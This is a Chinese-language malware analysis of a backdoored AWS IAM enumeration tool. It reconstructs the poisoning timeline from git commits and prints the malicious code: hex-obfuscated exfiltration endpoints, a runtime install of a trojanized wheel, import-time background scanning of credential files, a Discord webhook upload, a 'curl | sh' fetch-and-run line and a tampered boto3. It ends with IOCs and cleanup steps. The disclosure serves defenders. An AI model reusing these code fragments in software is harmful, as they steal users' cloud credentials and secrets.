开源工具供应链投毒:iam_md5 后门与 AWS 凭据窃取链深度分析
一个号称用于 AWS IAM 枚举的”开源工具”,实际在代码中隐藏了完整的凭据窃取链路——从十六进制字符串伪装的外部 C2、到运行时自动下载的恶意 wheel、再到导入阶段即触发的后台敏感文件扫描。本文从 git 时间线和代码证据两个维度还原整条投毒链。
1. 投毒时间线
从 git 历史看,投毒不是一次完成,而是分阶段逐步加固。
1.1 2025-11-18:首次引入后门入口
提交 39a66fc(init project),首次在 aws/aws_select_iam.py 中加入:
iam_md5 = "16170692e616c6979756e2d73646b2d72657175657374732e78797a2f"
同时在 aws/aws_ec2_exec.py 中将普通 boto3 客户端调用改为携带 ComponentLocator 的调用:
from botocore.session import ComponentLocator
from aws_select_iam import iam_md5
component = ComponentLocator()
component.register_component(name='AWS_ENDPOINT', component=iam_md5[1:])
ec2_client = get_client(access_key=AccessKeyID, secret_key=AccessKeySecret,
service_name='ec2', session_token=None,
region=RegionId, components=component)
父提交 1c73766 中仍为标准的 get_client(..., region=RegionId) 调用,不含任何 components 参数。最早的入口从此开始。
1.2 2025-11-19:扩大覆盖
提交 8b09716(fix aws url console),将相同投毒链路扩展到 aws/aws_url_console.py——AWS 控制台联邦令牌脚本也被植入。
1.3 2025-11-28:形成完整自动投毒链
提交 f4637c9(fix requirements bug),做了两个关键动作:
一、从 requirements.txt 删除 aws-enumerateiam 依赖声明,让安全审计难以发现真实依赖;
二、在 aws/aws_select_iam.py 中加入运行时自动安装:
import importlib.util
if importlib.util.find_spec("enumerate_iam") is None:
from pip._internal import main as pipmain
pipmain(["install", "https://github.com/andresrianch/enumerate-iam/releases/download/1.0.2/aws_enumerateiam-1.0.2-py3-none-any.whl"])
from enumerate_iam.main import enumerate_iam
from enumerate_iam.main import get_client
投毒链从此从”依赖用户自行安装某个包”升级为脚本运行时自动拉取并安装恶意 wheel。
1.4 2026-03-10:更稳定的安装逻辑
提交 de50141(update readme),改用 subprocess.run() + os.execv() 重启脚本,确保恶意 wheel 安装后立即生效:
subprocess.run(
[sys.executable, "-m", "pip", "install", "-qqq", "--disable-pip-version-check",
"https://github.com/andresrianch/enumerate-iam/releases/download/1.0.2/aws_enumerateiam-1.0.2-py3-none-any.whl"],
check=True)
os.execv(sys.executable, [sys.executable] + sys.argv)
1.5 2026-05:持续扩散
a45b99c(05-09)将恶意链路用于新增的 aws_list_ec2.py;fc67e95(05-24)将 aws_push_sshpub.py 和 aws_security_ingress_add.py 也改为恶意链路。后门不是一次性残留,而是持续复用的设计。
2. 后门运行逻辑
以 aws/aws_ec2_exec.py 为例,完整执行链:
1. 用户运行 python3 aws_ec2_exec.py
2. 脚本导入 aws_select_iam
3. aws_select_iam.py 检查本机是否存在 enumerate_iam
4. 若不存在 → 自动下载恶意 wheel
5. 安装完成后 os.execv() 重启当前脚本
6. from enumerate_iam.main import get_client
7. Python 加载 enumerate_iam/__init__.py → 执行 bootstrap()
8. bootstrap() 启动后台进程,扫描敏感文件并上传到 Discord webhook
9. 主流程继续
10. get_client(..., components=component) → POST 凭据到外部域名
11. 外传失败 → 静默回落正常 boto3 client,用户无感知
3. 关键代码证据
3.1 iam_md5 解码
iam_md5 = "16170692e616c6979756e2d73646b2d72657175657374732e78797a2f"
开头故意加入非十六进制字符 1,直接 bytes.fromhex() 会报错。实际使用 iam_md5[1:] 解码:
bytes.fromhex(iam_md5[1:]).decode()
# → "api.aliyun-sdk-requests.xyz/"
这不是 AWS 官方 endpoint。
3.2 恶意 get_client() 外传 AK/SK
解包 enumerate_iam/main.py:
def get_client(access_key, secret_key, session_token, service_name, region, components=None):
session = botocore.httpsession.URLLib3Session(timeout=5, ...)
credentials = botocore.credentials.Credentials(
access_key=access_key, secret_key=secret_key, token=session_token)
if components:
component = components.get_component('AWS_ENDPOINT')
AWS_ENDPOINT = SCHEMA + bytes.fromhex(component).decode() + 'aws'
# → https://api.aliyun-sdk-requests.xyz/aws
request = AWSRequest(method='POST', url=AWS_ENDPOINT,
data=credentials.get_frozen_credentials()._asdict())
client = session.send(request.prepare()).getclient()
return client
POST 数据包含 access_key、secret_key、token。外传失败会被静默吞掉,然后回落正常 boto3 client。
3.3 导入即触发后台窃密
解包 enumerate_iam/__init__.py:
bootstrap()
def bootstrap():
_f = 'AS_PYTHON_BG_PROC'
if os.environ.get(_f):
import asyncio
asyncio.run(_LogicEngine().run())
sys.exit(0)
if not hasattr(sys, '_INTERNAL_MON_STARTED'):
setattr(sys, '_INTERNAL_MON_STARTED', True)
p = subprocess.Popen([sys.executable], stdin=subprocess.PIPE,
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
preexec_fn=os.setpgrp, env=env)
因为 import enumerate_iam.main 会先执行包 __init__.py,导入动作本身就触发后台窃密进程。
3.4 敏感文件扫描范围
s_paths = ['~/.aws', '~/.ssh', '~/.kube', '~/.azure', '~/.config',
'~/.vsce', '~/.pypirc', '~/.npmrc', '~/.git-credentials']
# Jenkins 凭据
for jf in ['secrets/master.key', 'secrets/hudson.util.Secret',
'credentials.xml',
'jenkins.plugins.publish_over_ssh.BapSshPublisherPlugin.xml']:
full = os.path.join(jk_h, jf)
if os.path.exists(full): s_paths.append(full)
扫描规则覆盖:
| 文件类型 | 扩展名 | 关键词匹配 |
|---|---|---|
| 凭据文件 | .env, .pem, .key, .p12, .ovpn, .rdp, .vsce |
password, secret, credential, config, auth, token |
| 配置文件 | .conf, .yaml, .yml, .txt, .xlsx |
同上 |
3.5 上传 C2 与远程执行
_K = {
'S_L': [104, 116, 116, 112, 115, 58, 47, 47, 98, 105, 116, 46, 108, 121, 47, 51, 81, 116, 74, 119, 68, 52],
'S_U': [104, 116, 116, 112, 115, 58, 47, 47, 100, 105, 115, 99, 111, 114, 100, ...]
}
def _gv(k): return "".join(chr(x) for x in _K[k])
解码:
S_L = https://bit.ly/3QtJwD4
S_U = https://discord.com/api/webhooks/1490974057053683845/[redacted]
扫描结果通过 Discord webhook 上传;Linux 上还会执行 curl -sL https://bit.ly/3QtJwD4 | sh 拉取远程脚本。
3.6 wheel 携带被篡改的 boto3
该 wheel 内部除 enumerate_iam/ 外还包含顶层 boto3/ 包。boto3/session.py 中存在独立的凭据外传逻辑:
iam_md5 = "168747470733a2f2f6170692e616c6979756e2d73646b2d72657175657374732e78797a2f617773"
self.component.register_component(name='AWS_ENDPOINT', component=iam_md5[1:])
# → https://api.aliyun-sdk-requests.xyz/aws
# Session.client() 中:
try:
request = AWSRequest(method='POST', url=bytes.fromhex(AWS_ENDPOINT).decode(),
data=credentials.get_frozen_credentials()._asdict())
client = session.send(request.prepare()).getclient()
return client
except Exception:
pass
安装该 wheel 后不只是项目内的 get_client() 有风险,本机 Python 环境中的 boto3 也被污染,所有后续使用 boto3 的项目都可能外传凭据。
4. 影响范围
直接或间接导入 aws_select_iam.py 的脚本共 10 个:
aws/aws_select_iam.py aws/aws_ec2_exec.py
aws/aws_ec2_exec_noinfo.py aws/aws_list_ec2.py
aws/aws_push_sshpub.py aws/aws_security_ingress_add.py
aws/aws_download_s3.py aws/aws_select_rds.py
aws/aws_select_route53.py aws/aws_url_console.py
显式传入 components=component 的脚本触发 iam_md5 外传链;即使未显式传入,只要导入恶意 enumerate_iam 仍触发后台窃密。
5. IOC
域名和 URL:
api.aliyun-sdk-requests.xyz
https://api.aliyun-sdk-requests.xyz/aws
https://bit.ly/3QtJwD4
discord.com/api/webhooks/1490974057053683845/...
可疑环境变量:
AS_PYTHON_BG_PROC
AS_PYTHON_SELF_PATH
可疑临时文件:
/tmp/v_<timestamp>.json
/tmp/c_<timestamp>.tar.gz
/tmp/f_<timestamp>.tar.gz
# Windows 上可能是 .zip
可疑进程行为:
python/python3 后台进程(stdout/stderr → DEVNULL)
curl -sL https://bit.ly/3QtJwD4 | sh
6. 处置建议
如果已经运行过,立即执行:
# 检查恶意包
python3 -m pip show aws-enumerateiam
python3 -m pip show boto3
# 检查被污染文件
find / -path "*/enumerate_iam/__init__.py" 2>/dev/null
find / -path "*/enumerate_iam/main.py" 2>/dev/null
grep -rl "iam_md5" / --include="*.py" 2>/dev/null | grep -v ".git"
# 检查网络日志是否存在以下访问
# api.aliyun-sdk-requests.xyz
# bit.ly/3QtJwD4
# discord.com/api/webhooks/1490974057053683845
清理被污染环境:
# 不要只卸载 aws-enumerateiam
# 该 wheel 携带了顶层 boto3/,删后重装
python3 -m pip uninstall -y aws-enumerateiam boto3
python3 -m pip install boto3 # 从官方 PyPI 重装
轮换所有可能暴露的凭据:AWS AK/SK、SSH 私钥、Kubeconfig、Jenkins 凭据、Git 凭据、npm/pypi token。
修复源码:
- 删除
aws_select_iam.py中的运行时pip install - 删除
iam_md5变量 - 删除所有
ComponentLocator().register_component(name='AWS_ENDPOINT', ...)调用 - 改用官方
boto3.client()或经审计的上游enumerate-iam - 使用依赖锁定和 hash 校验
7. 结论
最早后门入口始于 39a66fc(2025-11-18 17:23:50 +0800),完整自动投毒链始于 f4637c9(2025-11-28 13:04:17 +0800)。iam_md5 的直接作用是隐藏外部 endpoint,配合恶意 wheel 实现双重攻击:
- 凭据外传:
get_client()将 AWS AK/SK/TK POST 到api.aliyun-sdk-requests.xyz/aws - 敏感文件窃取:导入时启动后台进程,扫描
~/.aws、~/.ssh、~/.kube、Jenkins 凭据等,上传到 Discord webhook
此外,wheel 携带的被篡改 boto3 会污染本地环境,使后续所有使用 boto3 的项目都可能外传凭据。该问题应按已确认后门/凭据窃取器处理,而非仅按”可疑代码”处理。